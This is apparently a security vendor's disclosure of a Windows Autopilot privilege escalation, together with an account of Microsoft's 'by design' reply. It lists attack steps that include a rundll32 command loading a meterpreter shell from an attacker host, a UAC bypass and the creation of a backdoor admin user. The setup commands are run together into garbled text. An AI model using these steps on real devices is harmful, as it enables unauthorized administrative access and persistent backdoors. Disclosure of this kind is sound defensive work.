The vulnerability allows a user to elevate his privileges to that of a local administrator during deployment and to keep those permissions on the system after the deployment. As SEC Consult strongly believes in responsible disclosure, we reported the issue via MSRC. The first ticket was closed without any notice. The second one was closed after one month with the following message:
“We have completed our investigation and found the issue submitted to us is not a security issue and is by design; this issue doesn’t meet security servicing bug bar.”
Therefore, SEC Consult publishes this feature publicly as it does not appear in the official documentation.
For further information or other security related inquiries, feel free to get in touch with our Vulnerability Lab via Twitter, LinkedIn or Email.
Introduction To Windows Autopilot
Windows Autopilot allows to easily pre-configure and set up new devices without a dedicated infrastructure on the client’s premises. In the Microsoft Endpoint Manager Admin Center, the IT department defines a Windows Autopilot deployment profile that can be assigned to all devices or pre-defined groups. When initially deploying new Windows devices, Windows Autopilot uses the OEM-optimized version of Windows 10. This version is preinstalled on the device, so the IT department does not have to maintain custom images and drivers for every device model. Instead of re-imaging the device, the existing Windows 10 installation can be transformed into a “business-ready” state that can:
- apply settings and policies
- install apps
- change the edition of Windows 10 being used (for example, from Windows 10 Pro to Windows 10 Enterprise) to support advanced features.
Once deployed, the IT department can manage Windows 10 devices with:
- Microsoft Intune
- Windows Update for Business
- Microsoft Endpoint Configuration Manager or other similar tools.
Windows Autopilot offers the following scenarios:
- Windows Autopilot user-driven mode
- Deploy and configure devices so that end users can set it up for themselves.
- Windows Autopilot self-deploying mode
- Deploy devices to be automatically configured for shared use, as a kiosk, or as a digital signage device.
- Windows Autopilot Reset
- Redeploy a device in a business-ready state.
- Pre-provision a device with up-to-date applications, policies, and settings.
- Windows Autopilot for existing devices
- Deploy Windows 10 on an existing Windows 7 or 8.1 device.
Add the Device to Intune
Furthermore, a device hash was added manually to Intune. This step would normally be conducted by an OEM, however, for easier testing, this step was conducted manually as follows:
md c:\\HWIDSet-Location c:\\HWIDSet-ExecutionPolicy -Scope Process
More information: https://docs.microsoft.com/en-us/mem/autopilot/add-devices
As a brief overview, the exploit works as follows (detailed steps can be found after the overview list):
- Unpack the new device and power it on.
- Select language and connect to the network.
- The device is automatically assigned the previously created deployment profile as the device hash was added to Intune.
- Trigger an error during or before device preparation e.g. via:
- Disconnecting the network.
- Removing/Disabling the TPM in UEFI or even physically before deployment.
- Use a TPM version < 2.0 (this is needed for user-driven mode).
- There are many other potential ways to trigger an error during deployment.
- An error window opens → Click on “View Diagnostics”.
- A select folder dialog opens up (a user can only select folders here).
- Navigate to the following location in the address bar:
- Rundll32.exe \\10.0.0.1\shell.dll,DLLMain (the shell is hosted on an attacker’s host in the same network, in this case, a meterpreter shell was used).
- The shell connects back to the attacker’s host as the default deployment user called defaultuser0. This user is in the local administrator group.
- Since UAC is active, an arbitrary UAC bypass can be used to elevate the privileges (we used the Windows Store FileSys bypass https://www.exploit-db.com/exploits/47378).
- An attacker can now create a backdoor user with local administrative privileges or other kinds of backdoors.
- Finally, the device is made compliant again by:
- Reconnecting the network.
- Reattaching/activating the TPM.
- The deployment is restarted and successfully completes.
- The deployment user defaultuser0 gets deleted, but the backdoor user still exists and can be used for further attacks.
The detailed proof of concept can be seen in the following paragraph.
Fix? Patch? Workaround? – Or Some Words About Communication During The Responsible Disclosure Procedure
Responsible disclosure can sometimes be quite demanding (exceptions apply!) and time-consuming. In this case, we noticed some very odd behavior that we did not expect from such a huge vendor. When we submitted our first ticket via msrc.microsoft.com we received the following reply:
Thank you for contacting the Microsoft Security Response Center (MSRC). Secure(at)microsoft.com is the proper e-mail address to report security vulnerabilities to. In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video, the detailed steps to reproduce the problem, and how an attacker could use it to exploit another user. Please also note that all bounty/acknowledgement decisions are made at a point past when an issue is cased and cannot be addressed here.
This thread is being closed and no longer monitored. When ready, submit a new report at https://aka.ms/secure-at.
We, of course, handed over all the information including a complete report with PoC in the ticket, but the ticket was closed. We resubmitted the same ticket again and got no response for nearly a month. After a month, we got the following response:
We have completed our investigation and found the issue submitted to us is not a security issue and is by design; this issue doesn’t meet security servicing bug bar.
Thanks again, for sharing this report with us. We anticipate no further action on this item from MSRC and will be closing out this case.